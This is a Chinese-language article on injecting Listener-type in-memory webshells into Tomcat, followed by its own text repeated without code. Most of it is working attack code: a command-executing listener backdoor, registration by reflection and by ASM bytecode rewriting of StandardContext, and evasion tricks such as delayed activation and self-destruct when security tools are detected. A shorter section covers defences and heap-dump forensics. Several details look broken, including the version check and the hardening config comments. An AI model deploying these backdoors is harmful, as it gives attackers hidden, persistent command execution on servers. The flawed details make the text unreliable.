Java内存马——Listener型的两种注入
字数 1537 2025-08-30 06:50:12

Java内存马——Listener型注入技术详解

一、Listener型内存马概述

Listener型内存马通过动态注册恶意事件监听器到Java Web容器中,使其在特定事件发生时执行攻击代码。当注入ServletRequestListener时:

  • 每个HTTP请求都会触发requestInitialized()方法
  • 请求结束时触发requestDestroyed()方法
  • 恶意代码对所有请求进行监控,实现隐蔽的后门控制

二、反射API注入方式

适用场景

攻击者已通过RCE、反序列化、文件型WebShell等获取了代码执行能力。

核心原理

利用Java反射机制,绕过编译时类型检查,直接操作Tomcat内部管理监听器的关键对象和方法。

关键步骤详解

1. 获取当前Web应用的StandardContext对象

StandardContext是Tomcat中表示一个Web应用的上下文对象,负责管理Servlet、Filter、Listener等。

获取途径:

方法一:从Thread和ContextClassLoader获取

Thread[] threads = (Thread[]) Thread.class.getMethod("getThreads").invoke(null);
for (Thread thread : threads) {
    if (thread == null) continue;
    ClassLoader contextClassLoader = thread.getContextClassLoader();
    if (contextClassLoader != null && contextClassLoader.toString().contains("WebappClassLoader")) {
        try {
            Field resourcesField = contextClassLoader.getClass().getDeclaredField("resources");
            resourcesField.setAccessible(true);
            Object resources = resourcesField.get(contextClassLoader);
            Field contextField = resources.getClass().getDeclaredField("context");
            contextField.setAccessible(true);
            standardContext = (StandardContext) contextField.get(resources);
            break;
        } catch (Exception ignored) {}
    }
}

方法二:从Request对象获取

ServletRequest request = ...; // 从当前请求或线程局部变量获取
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
standardContext = (StandardContext) standardContextField.get(applicationContext);

2. 定义恶意ServletRequestListener类

public class EvilServletRequestListener implements ServletRequestListener {
    private static final String password = "your_secret_cmd_param"; // 触发密码
    
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            // 检查触发条件(如特定参数)
            if (request.getParameter(password) != null) {
                String cmd = request.getParameter("cmd");
                if (cmd != null && !cmd.isEmpty()) {
                    // 执行命令并回显
                    Process p = Runtime.getRuntime().exec(cmd);
                    BufferedReader reader = new BufferedReader(
                        new InputStreamReader(p.getInputStream()));
                    StringBuilder sb = new StringBuilder();
                    String line;
                    while ((line = reader.readLine()) != null) {
                        sb.append(line).append("\n");
                    }
                    request.setAttribute("result", sb.toString());
                }
            }
        } catch (Exception e) {
            // 静默处理异常,避免日志暴露
        }
    }
    
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        // 可选的清理逻辑
    }
}

3. 将恶意Listener注入到StandardContext

// 实例化恶意Listener
ServletRequestListener evilListener = new EvilServletRequestListener();
// 获取并调用addApplicationEventListener方法
Method addListenerMethod = StandardContext.class.getDeclaredMethod(
    "addApplicationEventListener", Object.class);
addListenerMethod.setAccessible(true);
addListenerMethod.invoke(standardContext, evilListener);

// Tomcat 9+需要触发Listener启动
try {
    Method listenerStartMethod = StandardContext.class.getDeclaredMethod("listenerStart");
    listenerStartMethod.setAccessible(true);
    listenerStartMethod.invoke(standardContext);
} catch (NoSuchMethodException e) {
    // 兼容旧版本Tomcat
}

反射注入的优缺点

优点:

  • 逻辑相对直接,利用现有漏洞或入口即可完成

缺点:

  • 依赖获取StandardContext的能力,路径可能因Tomcat版本或环境而异
  • 会在内存中创建新的类,在Heap Dump中相对容易被发现
  • 应用重启后失效(除非注入到共享类加载器域)

三、Instrumentation API注入方式

适用场景

需要更高持久化和隐蔽性(如利用反序列化漏洞加载Agent),或需注入到更底层。

核心原理

使用Java Agent的ClassFileTransformer在Tomcat核心类加载时修改其字节码,直接在关键类(如StandardContext)的初始化逻辑中"硬编码"注册恶意Listener的代码。

关键步骤详解

1. 获取Instrumentation实例

通过premain方法(启动时Agent)或agentmain方法(运行时Attach Agent)传入。

2. 定义ClassFileTransformer

public class ListenerInjector implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, 
            Class<?> classBeingRedefined, ProtectionDomain protectionDomain, 
            byte[] classfileBuffer) {
        if ("org/apache/catalina/core/StandardContext".equals(className)) {
            return injectListener(classfileBuffer);
        }
        return null;
    }
    
    private byte[] injectListener(byte[] originalBuffer) {
        ClassReader cr = new ClassReader(originalBuffer);
        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
        ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
            @Override
            public MethodVisitor visitMethod(int access, String name, String desc, 
                    String signature, String[] exceptions) {
                MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
                // 在startInternal方法中注入
                if ("startInternal".equals(name) && "()V".equals(desc)) {
                    return new MethodVisitor(Opcodes.ASM9, mv) {
                        private boolean injected = false;
                        
                        @Override
                        public void visitMethodInsn(int opcode, String owner, 
                                String name, String desc, boolean itf) {
                            // 在listenerStart调用后注入
                            if (!injected && "listenerStart".equals(name) 
                                    && "()V".equals(desc) 
                                    && "org/apache/catalina/core/StandardContext".equals(owner)) {
                                super.visitMethodInsn(opcode, owner, name, desc, itf);
                                injectListenerRegistration(mv);
                                injected = true;
                                return;
                            }
                            super.visitMethodInsn(opcode, owner, name, desc, itf);
                        }
                    };
                }
                return mv;
            }
        };
        cr.accept(cv, ClassReader.EXPAND_FRAMES);
        return cw.toByteArray();
    }
    
    private void injectListenerRegistration(MethodVisitor mv) {
        // 创建监听器实例
        mv.visitTypeInsn(Opcodes.NEW, "com/attacker/StealthListener");
        mv.visitInsn(Opcodes.DUP);
        mv.visitMethodInsn(Opcodes.INVOKESPECIAL, 
            "com/attacker/StealthListener", "<init>", "()V", false);
        // 获取this引用
        mv.visitVarInsn(Opcodes.ALOAD, 0);
        // 交换栈顶元素 (listener和this)
        mv.visitInsn(Opcodes.SWAP);
        // 调用addApplicationEventListener
        mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, 
            "org/apache/catalina/core/StandardContext", 
            "addApplicationEventListener", "(Ljava/lang/Object;)V", false);
    }
}

3. 注册Transformer并重定义类

instrumentation.addTransformer(transformer, true); // true表示可retransform
// 触发目标类的重加载
instrumentation.retransformClasses(StandardContext.class);

Instrumentation注入的优缺点

优点:

  • 隐蔽性极高:恶意代码直接"编译"进Tomcat核心类
  • 持久化强:只要修改后的类被加载,Listener就被注册
  • 绕过基于类/ClassLoader的检测

缺点:

  • 实现复杂,需要深入字节码操作
  • 依赖加载Java Agent的能力
  • 不同Tomcat版本字节码结构差异大
  • RASP或深度Hook技术可能检测到关键类被修改

四、高级注入技术

1. 隐身类加载技术

public class HiddenClassLoader extends ClassLoader {
    public Class<?> defineHiddenClass(byte[] bytes) {
        return super.defineClass(null, bytes, 0, bytes.length);
    }
}

// 生成无类名的监听器字节码
ClassPool pool = ClassPool.getDefault();
CtClass listenerClass = pool.makeClass(null);
listenerClass.addInterface(pool.get("javax.servlet.ServletRequestListener"));
// 添加方法逻辑
CtMethod method = CtNewMethod.make(
    "public void requestInitialized(ServletRequestEvent e) {...}", listenerClass);
listenerClass.addMethod(method);
// 注册匿名类
byte[] bytecode = listenerClass.toBytecode();
Class<?> anonymousListener = new HiddenClassLoader().defineHiddenClass(bytecode);

2. 环境自适应注入

// 检测Tomcat版本
String tomcatVersion = System.getProperty("tomcat.util.http.ServerInfo");
int majorVersion = Integer.parseInt(tomcatVersion.split("/")[1].split("\\.")[0]);
// 版本特定的注入点
switch (majorVersion) {
    case 7: injectTomcat7Specific(); break;
    case 8: injectTomcat8Specific(); break;
    case 9: injectTomcat9Specific(); break;
    case 10: injectTomcat10Jakarta(); break;
    default: injectGeneric();
}

3. 反检测技术

// 时间延迟激活
long installTime = System.currentTimeMillis();
if (System.currentTimeMillis() < installTime + TimeUnit.DAYS.toMillis(2)) {
    return; // 安装后两天内不激活
}
// 环境检测绕过
String user = System.getProperty("user.name");
if ("admin".equals(user) || "root".equals(user)) {
    return; // 管理员环境不激活
}
// 内存马心跳检测
if (checkSecurityToolsRunning()) {
    selfDestruct(); // 检测到安全工具时自毁
}

五、防御与检测方案

1. Tomcat安全加固配置

<!-- conf/context.xml -->
<Context>
    <!-- 禁止动态添加监听器 -->
    <JarScanner>
        <JarScanFilter defaultPluggabilityScan="false" 
            defaultTldScan="false" pluggabilityScan="none" tldScan="none"/>
    </JarScanner>
    <!-- 启用安全管理器 -->
    <Manager className="org.apache.catalina.session.StandardManager" 
        secureRandomProvider="SUN" secureRandomAlgorithm="SHA1PRNG"/>
    <!-- 限制类加载 -->
    <Loader delegate="true" reloadable="false"/>
</Context>

2. 运行时检测技术

RASP检测点:

// 检测点1:StandardContext.addApplicationEventListener调用
public void detectListenerInjection(Method method, Object[] args) {
    if ("addApplicationEventListener".equals(method.getName()) 
            && args.length == 1 && args[0] != null) {
        Class<?> listenerClass = args[0].getClass();
        if (isMaliciousClass(listenerClass)) {
            blockInjection();
        }
        if (isCalledFromUnusualPath()) {
            logAndAlert();
        }
    }
}

// 检测点2:ServletRequestListener.requestInitialized行为分析
public void monitorRequestListener(ServletRequestEvent event) {
    long start = System.nanoTime();
    try {
        proceed(event); // 执行原始逻辑
    } finally {
        long duration = System.nanoTime() - start;
        if (duration > TimeUnit.MILLISECONDS.toNanos(100)) {
            analyzeStackTrace();
        }
        if (containsRuntimeExec(Thread.currentThread().getStackTrace())) {
            blockAndIsolate();
        }
    }
}

3. 内存取证分析

使用MAT分析Heap Dump:

  1. 查找可疑的Listener实例:

    SELECT * FROM INSTANCEOF javax.servlet.ServletRequestListener 
    WHERE toString(it).indexOf("com.example") >= 0
    
  2. 分析StandardContext的监听器列表:

    SELECT *
    FROM OBJECT org.apache.catalina.core.StandardContext s 
    WHERE s.applicationEventListeners != null
    
  3. 检测包含命令执行特征的类:

    SELECT *
    FROM OBJECTS
    WHERE (toString(it).contains("Runtime.exec") 
        OR toString(it).contains("ProcessBuilder")) 
    AND it.getClass() != null
    

六、总结

Listener型内存马是Java Web安全领域的高级攻击技术,具有隐蔽性强、持久化程度高的特点。防御此类攻击需要从多个层面入手:

  1. 加固Tomcat配置,限制动态组件注册
  2. 部署RASP等运行时防护系统
  3. 定期进行内存取证分析
  4. 监控关键API调用和异常行为模式

理解这些攻击技术的原理和实现方式,有助于安全人员更好地防御和检测此类高级威胁。

Java内存马——Listener型注入技术详解 一、Listener型内存马概述 Listener型内存马通过动态注册恶意事件监听器到Java Web容器中,使其在特定事件发生时执行攻击代码。当注入 ServletRequestListener 时: 每个HTTP请求都会触发 requestInitialized() 方法 请求结束时触发 requestDestroyed() 方法 恶意代码对所有请求进行监控,实现隐蔽的后门控制 二、反射API注入方式 适用场景 攻击者已通过RCE、反序列化、文件型WebShell等获取了代码执行能力。 核心原理 利用Java反射机制,绕过编译时类型检查,直接操作Tomcat内部管理监听器的关键对象和方法。 关键步骤详解 1. 获取当前Web应用的StandardContext对象 StandardContext 是Tomcat中表示一个Web应用的上下文对象,负责管理Servlet、Filter、Listener等。 获取途径: 方法一:从Thread和ContextClassLoader获取 方法二:从Request对象获取 2. 定义恶意ServletRequestListener类 3. 将恶意Listener注入到StandardContext 反射注入的优缺点 优点: 逻辑相对直接,利用现有漏洞或入口即可完成 缺点: 依赖获取StandardContext的能力,路径可能因Tomcat版本或环境而异 会在内存中创建新的类,在Heap Dump中相对容易被发现 应用重启后失效(除非注入到共享类加载器域) 三、Instrumentation API注入方式 适用场景 需要更高持久化和隐蔽性(如利用反序列化漏洞加载Agent),或需注入到更底层。 核心原理 使用Java Agent的 ClassFileTransformer 在Tomcat核心类加载时修改其字节码,直接在关键类(如 StandardContext )的初始化逻辑中"硬编码"注册恶意Listener的代码。 关键步骤详解 1. 获取Instrumentation实例 通过 premain 方法(启动时Agent)或 agentmain 方法(运行时Attach Agent)传入。 2. 定义ClassFileTransformer 3. 注册Transformer并重定义类 Instrumentation注入的优缺点 优点: 隐蔽性极高:恶意代码直接"编译"进Tomcat核心类 持久化强:只要修改后的类被加载,Listener就被注册 绕过基于类/ClassLoader的检测 缺点: 实现复杂,需要深入字节码操作 依赖加载Java Agent的能力 不同Tomcat版本字节码结构差异大 RASP或深度Hook技术可能检测到关键类被修改 四、高级注入技术 1. 隐身类加载技术 2. 环境自适应注入 3. 反检测技术 五、防御与检测方案 1. Tomcat安全加固配置 2. 运行时检测技术 RASP检测点: 3. 内存取证分析 使用MAT分析Heap Dump: 查找可疑的Listener实例: 分析StandardContext的监听器列表: 检测包含命令执行特征的类: 六、总结 Listener型内存马是Java Web安全领域的高级攻击技术,具有隐蔽性强、持久化程度高的特点。防御此类攻击需要从多个层面入手: 加固Tomcat配置,限制动态组件注册 部署RASP等运行时防护系统 定期进行内存取证分析 监控关键API调用和异常行为模式 理解这些攻击技术的原理和实现方式,有助于安全人员更好地防御和检测此类高级威胁。